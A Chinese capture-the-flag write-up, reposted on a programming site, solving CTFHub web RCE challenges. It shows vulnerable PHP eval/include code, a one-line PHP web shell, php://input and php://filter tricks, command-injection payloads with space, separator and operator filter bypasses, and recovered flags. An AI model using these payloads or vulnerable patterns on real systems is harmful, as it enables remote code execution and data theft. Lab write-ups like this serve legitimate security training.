Ctfhub解题 web RCE

导读:本篇文章讲解 Ctfhub解题 web RCE,希望对大家有帮助,欢迎收藏,转发!站点地址:www.bmabk.com


介绍:记录解题过程

1. eval执行

<?php
if (isset($_REQUEST['cmd'])) {
    eval($_REQUEST["cmd"]);
} else {
    highlight_file(__FILE__);
}
?>
  1. 存在任意命令执行漏洞
  2. 连接使用蚁剑连接后台
  3. flag在根目录
    在这里插入图片描述
    在这里插入图片描述

2.文件包含

php文件包含漏洞

<?php
error_reporting(0);
if (isset($_GET['file'])) {
    if (!strpos($_GET["file"], "flag")) {
        include $_GET["file"];
    } else {
        echo "Hacker!!!";
    }
} else {
    highlight_file(__FILE__);
}
?>
<hr>
i have a <a href="shell.txt">shell</a>, how to use it ?

shell.txt:

<?php eval($_REQUEST['ctfhub']);?>
1. PHP includerequire 语句:
通过 includerequire 语句,可以将 PHP 文件的内容插入另一个 PHP 文件(在服务器执行它之前)。
2. strpos() 函数返回字符串在另一个字符串中第一次出现的位置。
3. `$_REQUEST`在php手册中,这个变量解释为:`默认情况下包含了 $_GET$_POST$_COOKIE 的数组。` (存在任意命令执行漏洞)
  1. 利用shell.txt中的任意命令执行漏洞和首页的include文件包含

  2. 连接使用蚁剑连接后台
    在这里插入图片描述

  3. flag在根目录
    在这里插入图片描述

3.php://input

<?php
if (isset($_GET['file'])) {
    if ( substr($_GET["file"], 0, 6) === "php://" ) {
        include($_GET["file"]);
    } else {
        echo "Hacker!!!";
    }
} else {
    highlight_file(__FILE__);
}
?>
<hr>
i don't have shell, how to get flag? <br>
<a href="phpinfo.php">phpinfo</a>
  • substr():
string substr ( string $string , int $start [, int $length ] ),它可以用于在一个较长的字符串中查找匹配的字符串或字符。$string为所要处理的字符串,$start为开始选取的位置,$length为要选取的长度  
  1. 利用php://input伪协议和首页的include文件包含执行任意命令
    在这里插入图片描述
  2. 搜索flag
    在这里插入图片描述
    3.读取flag
    在这里插入图片描述

4.读取源代码

<?php
error_reporting(E_ALL);
if (isset($_GET['file'])) {
    if ( substr($_GET["file"], 0, 6) === "php://" ) {
        include($_GET["file"]);
    } else {
        echo "Hacker!!!";
    }
} else {
    highlight_file(__FILE__);
}
?>
<hr>
i don't have shell, how to get flag? <br>
flag in <code>/flag</code>
i don't have shell, how to get flag?
flag in /flag
  1. 利用php://filte伪协议读取
?file=php://filter/read=convert.base64-encode/resource=/flag

在这里插入图片描述
2.解码得到flag
在这里插入图片描述

5.远程包含

<?php
error_reporting(0);
if (isset($_GET['file'])) {
    if (!strpos($_GET["file"], "flag")) {
        include $_GET["file"];
    } else {
        echo "Hacker!!!";
    }
} else {
    highlight_file(__FILE__);
}
?>
<hr>
i don't have shell, how to get flag?<br>
<a href="phpinfo.php">phpinfo</a>
i don't have shell, how to get flag?
phpinfo
  • error_reporting() 设置 PHP 的报错级别并返回当前级别。
  • 步骤同3.php://input基本一致
  1. 利用php://input伪协议和首页的include文件包含执行任意命令
    在这里插入图片描述

  2. 搜索flag
    在这里插入图片描述

  3. 读取flag
    在这里插入图片描述

6.命令注入

这是一个在线测试网络延迟的平台,路由器中经常会见到。无任何安全措施,尝试获取 flag

  1. 命令注入
127.0.0.1&ls

在这里插入图片描述

  1. 查看网页源码得到flag
127.0.0.1&cat 70452865227959.php

在这里插入图片描述

7.过滤cat

  • linux 读取文件内容命令:
    在这里插入图片描述
    1.命令注入
127.0.0.1&ls
Array
(
    [0] => flag_282101143512917.php
    [1] => PING 127.0.0.1 (127.0.0.1): 56 data bytes
    [2] => index.php
)
  1. 查看网页源码得到flag
127.0.0.1&nl flag_282101143512917.php

在这里插入图片描述

8.过滤空格

这次过滤了空格,你能绕过吗

  • Tab代替空格
  1. 命令注入
127.0.0.1&ls
Array
(
    [0] => flag_318882256329251.php
    [1] => index.php
    [2] => PING 127.0.0.1 (127.0.0.1): 56 data bytes
)
  1. 查看网页源码得到flag
127.0.0.1&cat	flag_318882256329251.php

在这里插入图片描述

9.过滤目录分隔符

这次过滤了目录分割符 / ,你能读到 flag 目录下的 flag 文件吗

  1. 命令注入
127.0.0.1&ls
Array
(
    [0] => flag_is_here
    [1] => index.php
    [2] => PING 127.0.0.1 (127.0.0.1): 56 data bytes
)
  1. 切换目录
127.0.0.1&cd flag_is_here;ls
Array
(
    [0] => flag_24415123961579.php
    [1] => PING 127.0.0.1 (127.0.0.1): 56 data bytes
)
  1. 查看网页源码得到flag
127.0.0.1&cd flag_is_here;cat flag_24415123961579.php

在这里插入图片描述

10.过滤运算符

过滤了几个运算符, 要怎么绕过呢

  • 直接用url
  1. 命令注入
http://challenge-65fa7eae13f43fc4.sandbox.ctfhub.com:10080/?ip=127.0.0.1%0als#
Array
(
    [0] => PING 127.0.0.1 (127.0.0.1): 56 data bytes
    [1] => flag_24592924918628.php
    [2] => index.php
)
  1. 查看网页源码得到flag
http://challenge-65fa7eae13f43fc4.sandbox.ctfhub.com:10080/?ip=127.0.0.1%0acat flag_24592924918628.php

在这里插入图片描述

11.综合过滤练习

  • 直接用url
  1. 命令注入
http://challenge-65fa7eae13f43fc4.sandbox.ctfhub.com:10080/?ip=127.0.0.1%0als#
Array
(
    [0] => PING 127.0.0.1 (127.0.0.1): 56 data bytes
    [1] => flag_is_here
    [2] => index.php
)
  1. 利用%0a绕过& ;
    ${IFS}绕过空格
    fla* 不用知道flag的具体名字
http://challenge-0a3e11050c5901ae.sandbox.ctfhub.com:10080/?ip=127.0.0.1%0acd${IFS}fla*%0aless${IFS}fla*#
Array
(
    [0] => PING 127.0.0.1 (127.0.0.1): 56 data bytes
    [1] => <?php // ctfhub{dcba399fd7939ff843a6230e}
)
</pre>

版权声明:本文内容由互联网用户自发贡献,该文观点仅代表作者本人。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如发现本站有涉嫌侵权/违法违规的内容, 请发送邮件至 举报,一经查实,本站将立刻删除。

文章由极客之音整理,本文链接:https://www.bmabk.com/index.php/post/92709.html

(0)
小半的头像小半

相关推荐

极客之音——专业性很强的中文编程技术网站,欢迎收藏到浏览器,订阅我们!